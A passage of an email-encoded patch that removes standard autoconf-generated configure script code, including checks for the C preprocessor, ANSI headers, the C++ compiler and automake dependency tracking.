input. -continue -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - # Passes both tests. -ac_preproc_ok=3D: -break -fi -rm -f conftest.err conftest.$ac_ext - -done -# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. -rm -f conftest.err conftest.$ac_ext -if $ac_preproc_ok; then - : -else - { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanit= y check -See \`config.log' for more details." >&5 -echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check -See \`config.log' for more details." >&2;} - { (exit 1); exit 1; }; } -fi - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - - -echo "$as_me:$LINENO: checking for ANSI C header files" >&5 -echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 -if test "${ac_cv_header_stdc+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -#include -#include -#include - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_header_stdc=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_header_stdc=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext - -if test $ac_cv_header_stdc =3D yes; then - # SunOS 4.x string.h does not declare mem*, contrary to ANSI. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include - -_ACEOF -if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | - $EGREP "memchr" >/dev/null 2>&1; then - : -else - ac_cv_header_stdc=3Dno -fi -rm -f conftest* - -fi - -if test $ac_cv_header_stdc =3D yes; then - # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include - -_ACEOF -if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | - $EGREP "free" >/dev/null 2>&1; then - : -else - ac_cv_header_stdc=3Dno -fi -rm -f conftest* - -fi - -if test $ac_cv_header_stdc =3D yes; then - # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ans= i. - if test "$cross_compiling" =3D yes; then - : -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -#if ((' ' & 0x0FF) =3D=3D 0x020) -# define ISLOWER(c) ('a' <=3D (c) && (c) <=3D 'z') -# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) -#else -# define ISLOWER(c) \ -=09=09 (('a' <=3D (c) && (c) <=3D 'i') \ -=09=09 || ('j' <=3D (c) && (c) <=3D 'r') \ -=09=09 || ('s' <=3D (c) && (c) <=3D 'z')) -# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) -#endif - -#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) -int -main () -{ - int i; - for (i =3D 0; i < 256; i++) - if (XOR (islower (i), ISLOWER (i)) -=09|| toupper (i) !=3D TOUPPER (i)) - exit(2); - exit (0); -} -_ACEOF -rm -f conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && { ac_try=3D'./conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - : -else - echo "$as_me: program exited with status $ac_status" >&5 -echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -( exit $ac_status ) -ac_cv_header_stdc=3Dno -fi -rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_obje= xt conftest.$ac_ext -fi -fi -fi -echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 -echo "${ECHO_T}$ac_cv_header_stdc" >&6 -if test $ac_cv_header_stdc =3D yes; then - -cat >>confdefs.h <<\_ACEOF -#define STDC_HEADERS 1 -_ACEOF - -fi - -# On IRIX 5.3, sys/types and inttypes.h are conflicting. - - - - - - - - - -for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h str= ings.h \ -=09=09 inttypes.h stdint.h unistd.h -do -as_ac_Header=3D`echo "ac_cv_header_$ac_header" | $as_tr_sh` -echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_includes_default - -#include <$ac_header> -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - eval "$as_ac_Header=3Dyes" -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -eval "$as_ac_Header=3Dno" -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 -if test `eval echo '${'$as_ac_Header'}'` =3D yes; then - cat >>confdefs.h <<_ACEOF -#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 -_ACEOF - -fi - -done - - - -for ac_header in dlfcn.h -do -as_ac_Header=3D`echo "ac_cv_header_$ac_header" | $as_tr_sh` -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 -else - # Is the header compilable? -echo "$as_me:$LINENO: checking $ac_header usability" >&5 -echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_includes_default -#include <$ac_header> -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_header_compiler=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_header_compiler=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 -echo "${ECHO_T}$ac_header_compiler" >&6 - -# Is the header present? -echo "$as_me:$LINENO: checking $ac_header presence" >&5 -echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include <$ac_header> -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - ac_header_preproc=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - ac_header_preproc=3Dno -fi -rm -f conftest.err conftest.$ac_ext -echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 -echo "${ECHO_T}$ac_header_preproc" >&6 - -# So? What about this header? -case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in - yes:no: ) - { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compi= ler, rejected by the preprocessor!" >&5 -echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected = by the preprocessor!" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the c= ompiler's result" >&5 -echo "$as_me: WARNING: $ac_header: proceeding with the compiler's resu= lt" >&2;} - ac_header_preproc=3Dyes - ;; - no:yes:* ) - { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be= compiled" >&5 -echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2= ;} - { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing= prerequisite headers?" >&5 -echo "$as_me: WARNING: $ac_header: check for missing prerequisite = headers?" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf docu= mentation" >&5 -echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2= ;} - { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present= But Cannot Be Compiled\"" >&5 -echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be= Compiled\"" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the p= reprocessor's result" >&5 -echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's = result" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the co= mpiler will take precedence" >&5 -echo "$as_me: WARNING: $ac_header: in the future, the compiler will ta= ke precedence" >&2;} - ( - cat <<\_ASBOX -## ------------------------------------------ ## -## Report this to the AC_PACKAGE_NAME lists. ## -## ------------------------------------------ ## -_ASBOX - ) | - sed "s/^/$as_me: WARNING: /" >&2 - ;; -esac -echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - eval "$as_ac_Header=3D\$ac_header_preproc" -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 - -fi -if test `eval echo '${'$as_ac_Header'}'` =3D yes; then - cat >>confdefs.h <<_ACEOF -#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 -_ACEOF - -fi - -done - -ac_ext=3Dcc -ac_cpp=3D'$CXXCPP $CPPFLAGS' -ac_compile=3D'$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS con= ftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_cxx_compiler_gnu -if test -n "$ac_tool_prefix"; then - for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r= xlC - do - # Extract the first word of "$ac_tool_prefix$ac_prog", so it can b= e a program name with args. -set dummy $ac_tool_prefix$ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_CXX+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$CXX"; then - ac_cv_prog_CXX=3D"$CXX" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_CXX=3D"$ac_tool_prefix$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -CXX=3D$ac_cv_prog_CXX -if test -n "$CXX"; then - echo "$as_me:$LINENO: result: $CXX" >&5 -echo "${ECHO_T}$CXX" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$CXX" && break - done -fi -if test -z "$CXX"; then - ac_ct_CXX=3D$CXX - for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r= xlC -do - # Extract the first word of "$ac_prog", so it can be a program name = with args. -set dummy $ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_CXX+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_CXX"; then - ac_cv_prog_ac_ct_CXX=3D"$ac_ct_CXX" # Let the user override the test= . -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CXX=3D"$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -ac_ct_CXX=3D$ac_cv_prog_ac_ct_CXX -if test -n "$ac_ct_CXX"; then - echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5 -echo "${ECHO_T}$ac_ct_CXX" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$ac_ct_CXX" && break -done -test -n "$ac_ct_CXX" || ac_ct_CXX=3D"g++" - - CXX=3D$ac_ct_CXX -fi - - -# Provide some information about the compiler. -echo "$as_me:$LINENO:" \ - "checking for C++ compiler version" >&5 -ac_compiler=3D`set X $ac_compile; echo $2` -{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\= "") >&5 - (eval $ac_compiler --version &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 - (eval $ac_compiler -v &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 - (eval $ac_compiler -V &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } - -echo "$as_me:$LINENO: checking whether we are using the GNU C++ compil= er" >&5 -echo $ECHO_N "checking whether we are using the GNU C++ compiler... $E= CHO_C" >&6 -if test "${ac_cv_cxx_compiler_gnu+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ -#ifndef __GNUC__ - choke me -#endif - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_compiler_gnu=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_compiler_gnu=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -ac_cv_cxx_compiler_gnu=3D$ac_compiler_gnu - -fi -echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5 -echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6 -GXX=3D`test $ac_compiler_gnu =3D yes && echo yes` -ac_test_CXXFLAGS=3D${CXXFLAGS+set} -ac_save_CXXFLAGS=3D$CXXFLAGS -CXXFLAGS=3D"-g" -echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5 -echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6 -if test "${ac_cv_prog_cxx_g+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_prog_cxx_g=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_prog_cxx_g=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5 -echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6 -if test "$ac_test_CXXFLAGS" =3D set; then - CXXFLAGS=3D$ac_save_CXXFLAGS -elif test $ac_cv_prog_cxx_g =3D yes; then - if test "$GXX" =3D yes; then - CXXFLAGS=3D"-g -O2" - else - CXXFLAGS=3D"-g" - fi -else - if test "$GXX" =3D yes; then - CXXFLAGS=3D"-O2" - else - CXXFLAGS=3D - fi -fi -for ac_declaration in \ - '' \ - 'extern "C" void std::exit (int) throw (); using std::exit;' \ - 'extern "C" void std::exit (int); using std::exit;' \ - 'extern "C" void exit (int) throw ();' \ - 'extern "C" void exit (int);' \ - 'void exit (int);' -do - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_declaration -#include -int -main () -{ -exit (42); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - : -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -continue -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_declaration -int -main () -{ -exit (42); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_cxx_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - break -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -done -rm -f conftest* -if test -n "$ac_declaration"; then - echo '#ifdef __cplusplus' >>confdefs.h - echo $ac_declaration >>confdefs.h - echo '#endif' >>confdefs.h -fi - -ac_ext=3Dcc -ac_cpp=3D'$CXXCPP $CPPFLAGS' -ac_compile=3D'$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS con= ftest.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_cxx_compiler_gnu - -depcc=3D"$CXX" am_compiler_list=3D - -echo "$as_me:$LINENO: checking dependency style of $depcc" >&5 -echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6 -if test "${am_cv_CXX_dependencies_compiler_type+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then - # We make a subdir and do the tests there. Otherwise we can end up - # making bogus files that we don't know about and never remove. For - # instance it was reported that on HP-UX the gcc test will end up - # making a dummy file named `D' -- because `-MD' means `put the outp= ut - # in D'. - mkdir conftest.dir - # Copy depcomp to subdir because otherwise we won't find it if we're - # using a relative directory. - cp "$am_depcomp" conftest.dir - cd conftest.dir - # We will build objects and dependencies in a subdirectory because - # it helps to detect inapplicable dependency modes. For instance - # both Tru64's cc and ICC support -MD to output dependencies as a - # side effect of compilation, but ICC will put the dependencies in - # the current directory while Tru64 will put them in the object - # directory. - mkdir sub - - am_cv_CXX_dependencies_compiler_type=3Dnone - if test "$am_compiler_list" =3D ""; then - am_compiler_list=3D`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./dep= comp` - fi - for depmode in $am_compiler_list; do - # Setup a source with many dependencies, because some compilers - # like to wrap large dependency lists on column 80 (with \), and - # we should not choose a depcomp mode which is confused by this. - # - # We need to recreate these files for each test, as the compiler m= ay - # overwrite some of them when testing with obscure command lines. - # This happens at least with the AIX C compiler. - : > sub/conftest.c - for i in 1 2 3 4 5 6; do - echo '#include "conftst'$i'.h"' >> sub/conftest.c - # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with - # Solaris 8's {/usr,}/bin/sh. - touch sub/conftst$i.h - done - echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > co= nfmf - - case $depmode in - nosideeffect) - # after this tag, mechanisms are not by side-effect, so they'll - # only be used when explicitly requested - if test "x$enable_dependency_tracking" =3D xyes; then -=09continue - else -=09break - fi - ;; - none) break ;; - esac - # We check with `-c' and `-o' for the sake of the "dashmstdout" - # mode. It turns out that the SunPro C++ compiler does not proper= ly - # handle `-M -o', and we need to detect this. - if depmode=3D$depmode \ - source=3Dsub/conftest.c object=3Dsub/conftest.${OBJEXT-o} \ - depfile=3Dsub/conftest.Po tmpdepfile=3Dsub/conftest.TPo \ - $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conf= test.c \ - >/dev/null 2>conftest.err && - grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && - grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 = && - ${MAKE-make} -s -f confmf > /dev/null 2>&1; then - # icc doesn't choke on unknown options, it will just issue warni= ngs - # or remarks (even with -Werror). So we grep stderr for any mes= sage - # that says an option was ignored or not supported. - # When given -MP, icc 7.0 and 7.1 complain thusly: - # icc: Command line warning: ignoring option '-M'; no argument= required - # The diagnosis changed in icc 8.0: - # icc: Command line remark: option '-MP' not supported - if (grep 'ignoring option' conftest.err || - grep 'not supported' conftest.err) >/dev/null 2>&1; then :; = else - am_cv_CXX_dependencies_compiler_type=3D$depmode - break - fi - fi - done - - cd .. - rm -rf conftest.dir -else - am_cv_CXX_dependencies_compiler_type=3Dnone -fi - -fi -echo "$as_me:$LINENO: result: $am_cv_CXX_dependencies_compiler_type" >= &5 -echo "${ECHO_T}$am_cv_CXX_dependencies_compiler_type" >&6 -CXXDEPMODE=3Ddepmode=3D$am_cv_CXX_dependencies_compiler_type - - - -if - test "x$enable_dependency_tracking" !=3D xno \ - && test "$am_cv_CXX_dependencies_compiler_type" =3D gcc3; then - am__fastdepCXX_TRUE=3D - am__fastdepCXX_FALSE=3D'#' -else - am__fastdepCXX_TRUE=3D'#' - am__fastdepCXX_FALSE=3D -fi - - -ac_ext=3Dcc 